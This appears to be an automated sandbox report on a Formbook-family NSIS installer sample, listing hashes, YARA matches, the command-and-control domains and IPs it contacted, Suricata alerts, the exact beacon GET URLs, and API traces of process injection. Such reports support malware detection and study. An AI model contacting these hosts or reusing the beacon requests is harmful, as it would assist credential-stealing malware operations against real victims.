popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

macsilon2.1.exe

Formbook NSIS Malicious Library UPX PE File PE32
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Oct. 31, 2023, 7:42 a.m. Oct. 31, 2023, 7:44 a.m.
Size 369.1KB
Type PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5 acae22d54a60cda3e945eb605b2e0d79
SHA256 6f82869adb98bb714d132260ce2764b4d46e31495fb84d5614c9863763e118a2
CRC32 AEBAED45
ssdeep 6144:U8LxBCXMMCj8to85NBbhrAH121W5pcolKkXNJbmuLrUITGA8py9c+o:urCI75LtAHkIplld/FtTGAk1H
Yara
  • Malicious_Library_Zero - Malicious_Library
  • UPX_Zero - UPX packed file
  • PE_Header_Zero - PE File Signature
  • NSIS_Installer - Null Soft Installer
  • IsPE32 - (no description)

Name Response Post-Analysis Lookup
www.fem-studio.com
CNAME fem-studio.com
A 192.0.78.185
A 192.0.78.211
192.0.78.211
www.abstractcertify.com
www.lobby138.monster
A 91.195.240.123
91.195.240.123
www.ssongg13026.cfd
A 101.32.68.183
101.32.68.183
www.g7bety.com
A 104.21.71.212
A 172.67.171.189
172.67.171.189
IP Address Status Action
101.32.68.183 Active Moloch
164.124.101.2 Active Moloch
172.67.171.189 Active Moloch
192.0.78.185 Active Moloch
91.195.240.123 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.103:49168 -> 192.0.78.185:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49169 -> 172.67.171.189:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49167 -> 101.32.68.183:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49166 -> 91.195.240.123:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
section .ndata
suspicious_features GET method with no useragent header suspicious_request GET http://www.lobby138.monster/t6tg/?hB9=3b8u1mK8VHbHBfK/UsLoDkPDaVA31KqbuvBNGor4kXVmAL21gM7ZM3KDEr8Jm2Spn741Hpzt&lN68=VTRPbxUh6tHTgV
suspicious_features GET method with no useragent header suspicious_request GET http://www.ssongg13026.cfd/t6tg/?hB9=Nmqux/666XlLtJ3WEKzUk3EHj+ftlkJxJixPq7eQ/k8b2WLLehoT1axEI2nKmBLwOwlBSnRz&lN68=VTRPbxUh6tHTgV
suspicious_features GET method with no useragent header suspicious_request GET http://www.fem-studio.com/t6tg/?hB9=wO01AVbbXSVLf6qO03SX5K+SMOPGPZyPLFmMZ0U48re65Y/5ubB6fIycEVvycH59j+ia3nP/&lN68=VTRPbxUh6tHTgV
suspicious_features GET method with no useragent header suspicious_request GET http://www.g7bety.com/t6tg/?hB9=tJCug8916Nk3qwpVWxazfba7U2UvaJXJwG1WTz0cOvag2M7/5zn5sibdV7VYkPm4YwuRNFZo&lN68=VTRPbxUh6tHTgV
request GET http://www.lobby138.monster/t6tg/?hB9=3b8u1mK8VHbHBfK/UsLoDkPDaVA31KqbuvBNGor4kXVmAL21gM7ZM3KDEr8Jm2Spn741Hpzt&lN68=VTRPbxUh6tHTgV
request GET http://www.ssongg13026.cfd/t6tg/?hB9=Nmqux/666XlLtJ3WEKzUk3EHj+ftlkJxJixPq7eQ/k8b2WLLehoT1axEI2nKmBLwOwlBSnRz&lN68=VTRPbxUh6tHTgV
request GET http://www.fem-studio.com/t6tg/?hB9=wO01AVbbXSVLf6qO03SX5K+SMOPGPZyPLFmMZ0U48re65Y/5ubB6fIycEVvycH59j+ia3nP/&lN68=VTRPbxUh6tHTgV
request GET http://www.g7bety.com/t6tg/?hB9=tJCug8916Nk3qwpVWxazfba7U2UvaJXJwG1WTz0cOvag2M7/5zn5sibdV7VYkPm4YwuRNFZo&lN68=VTRPbxUh6tHTgV
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2064
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00350000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2064
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00370000
allocation_type: 12289 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2116
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00850000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\pdvroqxu.exe
section {u'size_of_data': u'0x0000d000', u'virtual_address': u'0x00037000', u'entropy': 6.895564080355565, u'name': u'.rsrc', u'virtual_size': u'0x0000ced8'} entropy 6.89556408036 description A section with a high entropy has been found
entropy 0.630303030303 description Overall entropy of this PE file is high
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Process injection Process 2064 called NtSetContextThread to modify thread in remote process 2116
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 2005598660
registers.esp: 1638384
registers.edi: 0
registers.eax: 4321408
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x000000bc
process_identifier: 2116
1 0 0